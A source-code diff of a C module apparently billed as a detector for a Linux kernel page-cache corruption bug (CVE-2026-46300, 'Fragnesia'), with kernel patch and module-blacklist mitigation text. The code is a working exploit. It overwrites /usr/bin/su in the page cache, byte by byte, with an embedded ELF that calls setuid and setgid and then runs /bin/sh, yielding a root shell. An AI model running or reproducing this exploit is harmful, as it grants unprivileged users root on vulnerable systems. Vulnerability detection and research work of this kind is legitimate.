- " fixed behavior: byte unchanged at index=%zu offset=%llu\n",
- idx, (unsigned long long)off);
- return 0;
- }
- printf(C_BRED "[-]" C_RESET
- " BUG: byte changed but desired-value check mismatched"
- " index=%zu offset=%llu desired=%02x got=%02x\n",
- idx, (unsigned long long)off, desired[idx], final);
- return 1;
- }
-
- /* final frame: all bytes done, cursor past the end */
- draw_smash_frame(desired, desired_len, live_state, desired_len,
- changed, skipped, 0);
-
- /* restore full scroll region and drop cursor below the frame */
- printf("\033[r\033[%d;1H\n", FRAME_LINES + 1);
-
- /* final verify pass */
- printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
- for (idx = 0; idx < desired_len; idx++) {
- uint64_t off = byte_off + idx;
- unsigned char final = read_byte_at(target_file, off);
-
- if (final != desired[idx]) {
- printf(C_BRED "[-]" C_RESET
- " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
- idx, (unsigned long long)off, desired[idx], final);
- return 1;
- }
- }
-
- printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET
- " skipped=" C_DIM "%zu" C_RESET "\n",
- desired_len, changed, skipped);
- if (changed == 0) {
- fprintf(stderr, "all requested bytes already had desired values\n");
- return 2;
- }
-
- printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
- return 1;
+static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len,
+ uint64_t file_size) {
+ uint64_t last = checked_byte_range_last(byte_off, desired_len);
+ size_t idx, changed = 0, skipped = 0;
+ unsigned char live_state[PAYLOAD_LEN];
+ int fd_init;
+
+ if (last >= file_size) {
+ fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off,
+ desired_len, (unsigned long long)file_size);
+ return 2;
+ }
+ if (last > file_size - FRAG_LEN) {
+ fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n",
+ FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size);
+ return 2;
+ }
+
+ fprintf(stderr, C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
+ RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
+ fprintf(stderr,
+ C_BCYN "[*]" C_RESET
+ " range: offset=0x%llx len=%zu last=0x%llx"
+ " enc_len=%d splice_len=%d\n",
+ (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
+ fprintf(stderr,
+ C_BCYN "[*]" C_RESET
+ " union: transformed=0x%llx-0x%llx"
+ " collateral_after=0x%llx-0x%llx\n",
+ (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1),
+ (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1));
+ fprintf(stderr, C_BCYN "[*]" C_RESET " ");
+ print_hex_bytes("payload", desired, desired_len);
+ fprintf(stderr, "\n");
+
+ build_stream0_table();
+ fprintf(stderr, "\n");
+
+ /* seed live_state from the file so the hex dump has real values */
+ fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
+ if (fd_init < 0) die("open live_state init");
+ if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init");
+ close(fd_init);
+
+ /* clear screen so the frame starts at a known row 1 */
+ fprintf(stderr, "\033[2J\033[H");
+ draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);
+
+ /* pin the frame to rows 1-FRAME_LINES; scroll region below */
+ {
+ struct winsize ws;
+ int tr = 40;
+ if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row;
+ fprintf(stderr, "\033[%d;%dr", FRAME_LINES + 1, tr);
+ fprintf(stderr, "\033[%d;1H", tr); /* park cursor at bottom of scroll region */
+ fflush(stdout);
+ }
+
+ for (idx = 0; idx < desired_len; idx++) {
+ uint64_t off = byte_off + idx;
+ unsigned char current, final, need_stream;
+
+ live_state[idx] = read_byte_at(target_file, off);
+ current = live_state[idx];
+
+ draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0);
+
+ if (current == desired[idx]) {
+ fprintf(stderr, C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len,
+ (unsigned long long)off, current);
+ skipped++;
+ continue;
+ }
+
+ target_splice_off = (loff_t)off;
+ need_stream = current ^ desired[idx];
+ choose_iv_for_stream0(need_stream);
+ active_esp_seq++;
+
+ fprintf(stderr,
+ C_BCYN "[*]" C_RESET
+ " [%zu/%zu]"
+ " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET
+ " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n",
+ idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq,
+ stream0_nonce[need_stream]);
+
+ /*
+ fprintf(stderr, C_BCYN "[*]" C_RESET " before:\n");
+ print_hex_row(target_file, off, "orig", current, "want", desired[idx]);
+
+ fprintf(stderr, C_BCYN "[*]" C_RESET " iv=" C_CYAN);
+ {
+ size_t k;
+ for (k = 0; k < sizeof(active_esp_gcm_iv); k++)
+ fprintf(stderr, "%02x", active_esp_gcm_iv[k]);
+ }
+ */
+ fprintf(stderr, C_RESET " firing espintcp splice...\n");
+
+ if (run_trigger_pair() < 0) {
+ fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
+ return 2;
+ }
+
+ final = read_byte_at(target_file, off);
+ live_state[idx] = final;
+
+ /*
+ fprintf(stderr, C_BCYN "[*]" C_RESET " after:\n");
+ print_hex_row(target_file, off, "was", current, "now", final);
+ */
+ if (final == desired[idx]) {
+ fprintf(stderr, C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET,
+ current, final, idx, (unsigned long long)off);
+ changed++;
+ continue;
+ }
+ if (final == current) {
+ fprintf(stderr, C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx,
+ (unsigned long long)off);
+ return 0;
+ }
+ fprintf(stderr,
+ C_BRED "[-]" C_RESET
+ " BUG: byte changed but desired-value check mismatched"
+ " index=%zu offset=%llu desired=%02x got=%02x\n",
+ idx, (unsigned long long)off, desired[idx], final);
+ return 1;
+ }
+
+ /* final frame: all bytes done, cursor past the end */
+ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0);
+
+ /* restore full scroll region and drop cursor below the frame */
+ fprintf(stderr, "\033[r\033[%d;1H\n", FRAME_LINES + 1);
+
+ /* final verify pass */
+ fprintf(stderr, C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
+ for (idx = 0; idx < desired_len; idx++) {
+ uint64_t off = byte_off + idx;
+ unsigned char final = read_byte_at(target_file, off);
+
+ if (final != desired[idx]) {
+ fprintf(stderr, C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
+ idx, (unsigned long long)off, desired[idx], final);
+ return 1;
+ }
+ }
+
+ fprintf(stderr,
+ C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM
+ "%zu" C_RESET "\n",
+ desired_len, changed, skipped);
+ if (changed == 0) {
+ fprintf(stderr, "all requested bytes already had desired values\n");
+ return 2;
+ }
+
+ fprintf(stderr, C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
+ return 1;
}
-static void usage(const char *prog)
-{
- fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog);
- fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog);
+static void usage(const char *prog) {
+ fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog);
+ fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog);
}
static const uint8_t shell_elf[PAYLOAD_LEN] = {
- 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
- 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
- 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
- 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
- 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
- 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
- 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
+ 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
+ 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0,
+ 0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12,
+ 0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b,
+ 0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e,
+ 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
-static int fragnesia_detect_inner(void)
-{
- unsigned char *desired;
- uint64_t file_size, byte_off;
- size_t desired_len, sample_len;
- int ret;
-
- setvbuf(stdout, NULL, _IONBF, 0);
-
- printf(C_BCYN "[*]" C_RESET
- " uid=" C_BWHT "%d" C_RESET
- " euid=" C_BWHT "%d" C_RESET
- " gid=" C_BWHT "%d" C_RESET
- " egid=" C_BWHT "%d" C_RESET "\n",
- getuid(), geteuid(), getgid(), getegid());
- printf(C_BCYN "[*]" C_RESET
- " mode=xfrm_espintcp_pagecache_replace collateral=after\n");
- printf("\n");
-
-// system("cp /bin/cat /tmp/test");
-// file_size = use_existing_target("/tmp/test");
- file_size = use_existing_target("/usr/bin/su");
- byte_off = 0;
- desired = (unsigned char *)shell_elf;
- desired_len = PAYLOAD_LEN;
-
- printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
- target_file, (unsigned long long)file_size);
- verify_write_denied("outer");
- setup_user_netns_xfrm();
- verify_write_denied("userns_root_mapped_to_outer_user");
-
- ret = replace_existing_bytes_after(byte_off, desired, desired_len,
- file_size);
-
- /* Clean up: drop caches to evict corrupted page cache entries */
- drop_page_cache();
-
- /* reset scroll region; some terminals home the cursor on \033[r so
- * explicitly jump to the last row so PS1 lands below our output */
- write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
-
- if (ret == 1) {
- printf(C_BGRN "[+]" C_RESET " vulnerable: page cache corruption succeeded\n");
- } else if (ret == 0) {
- printf(C_DIM "[-]" C_RESET " not vulnerable: no mutation observed\n");
- } else {
- printf(C_BRED "[!]" C_RESET " detection indeterminate (ret=%d)\n", ret);
- }
- return ret;
+static int fragnesia_detect_inner(void) {
+ unsigned char *desired;
+ uint64_t file_size, byte_off;
+ size_t desired_len, sample_len;
+ int ret;
+
+ setvbuf(stdout, NULL, _IONBF, 0);
+
+ fprintf(stderr,
+ C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET
+ " egid=" C_BWHT "%d" C_RESET "\n",
+ getuid(), geteuid(), getgid(), getegid());
+ fprintf(stderr, C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n");
+ fprintf(stderr, "\n");
+
+ // system("cp /bin/cat /tmp/test");
+ // file_size = use_existing_target("/tmp/test");
+ file_size = use_existing_target("/usr/bin/su");
+ byte_off = 0;
+ desired = (unsigned char *)shell_elf;
+ desired_len = PAYLOAD_LEN;
+
+ fprintf(stderr, C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size);
+ verify_write_denied("outer");
+ setup_user_netns_xfrm();
+ verify_write_denied("userns_root_mapped_to_outer_user");
+
+ ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size);
+
+ /* Clean up: drop caches to evict corrupted page cache entries */
+ drop_page_cache();
+
+ /* reset scroll region; some terminals home the cursor on \033[r so
+ * explicitly jump to the last row so PS1 lands below our output */
+ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
+
+ if (ret == 1) {
+ fprintf(stderr, C_BGRN "[+]" C_RESET " vulnerable: page cache corruption succeeded\n");
+ } else if (ret == 0) {
+ fprintf(stderr, C_DIM "[-]" C_RESET " not vulnerable: no mutation observed\n");
+ } else {
+ fprintf(stderr, C_BRED "[!]" C_RESET " detection indeterminate (ret=%d)\n", ret);
+ }
+ return ret;
}
-int detector_cve_2026_46300(struct cve_context *ctx)
-{
- pid_t child;
- int wstatus;
-
- (void)ctx;
-
- child = fork();
- if (child < 0) {
- fprintf(stderr, "[cve-2026-46300] fork: %s\n", strerror(errno));
- return 0;
- }
-
- if (child == 0) {
- /* Child: run the detection. Any exit() only kills this child. */
- int rc = fragnesia_detect_inner();
- _exit(rc);
- }
-
- /* Parent: wait for child and interpret exit status */
- if (waitpid(child, &wstatus, 0) < 0) {
- fprintf(stderr, "[cve-2026-46300] waitpid: %s\n", strerror(errno));
- return 0;
- }
-
- /* Also try to drop caches from here in case child couldn't (no priv) */
- drop_page_cache();
-
- if (WIFEXITED(wstatus)) {
- int code = WEXITSTATUS(wstatus);
- switch (code) {
- case 1:
- /* replace_existing_bytes_after returned 1 -> mutation observed */
- return 1;
- case 0:
- case 2:
- case 3:
- case 4:
- default:
- /* Not vulnerable */
- return 0;
- }
- }
-
- /* Child killed by signal -> not vulnerable */
- return 0;
+int detector_cve_2026_46300(struct cve_context *ctx) {
+ pid_t child;
+ int wstatus;
+
+ (void)ctx;
+
+ child = fork();
+ if (child < 0) {
+ fprintf(stderr, "[cve-2026-46300] fork: %s\n", strerror(errno));
+ return 0;
+ }
+
+ if (child == 0) {
+ /* Child: run the detection. Any exit() only kills this child. */
+ int rc = fragnesia_detect_inner();
+ _exit(rc);
+ }
+
+ /* Parent: wait for child and interpret exit status */
+ if (waitpid(child, &wstatus, 0) < 0) {
+ fprintf(stderr, "[cve-2026-46300] waitpid: %s\n", strerror(errno));
+ return 0;
+ }
+
+ /* Also try to drop caches from here in case child couldn't (no priv) */
+ drop_page_cache();
+
+ if (WIFEXITED(wstatus)) {
+ int code = WEXITSTATUS(wstatus);
+ switch (code) {
+ case 1:
+ /* replace_existing_bytes_after returned 1 -> mutation observed */
+ return 1;
+ case 0:
+ case 2:
+ case 3:
+ case 4:
+ default:
+ /* Not vulnerable */
+ return 0;
+ }
+ }
+
+ /* Child killed by signal -> not vulnerable */
+ return 0;
}
__attribute__((constructor)) void detector_cve_2026_46300_setup(void) {
- detector_queue_append("CVE-2026-46300", "Fragnesia",
- "Update kernel to include patch from\n"
- " https://lists.openwall.net/netdev/2026/05/13/79\n"
- " or apply dirtyfrag mitigation:\n"
- " rmmod esp4 esp6 rxrpc; \n"
- " printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' \\n"
- " > /etc/modprobe.d/dirtyfrag.conf",
- detector_cve_2026_46300);
+ detector_queue_append("CVE-2026-46300", "Fragnesia",
+ "Update kernel to include patch from\n"
+ " https://lists.openwall.net/netdev/2026/05/13/79\n"
+ " or apply dirtyfrag mitigation:\n"
+ " rmmod esp4 esp6 rxrpc; \n"
+ " printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' \\n"
+ " > /etc/modprobe.d/dirtyfrag.conf",
+ detector_cve_2026_46300);
}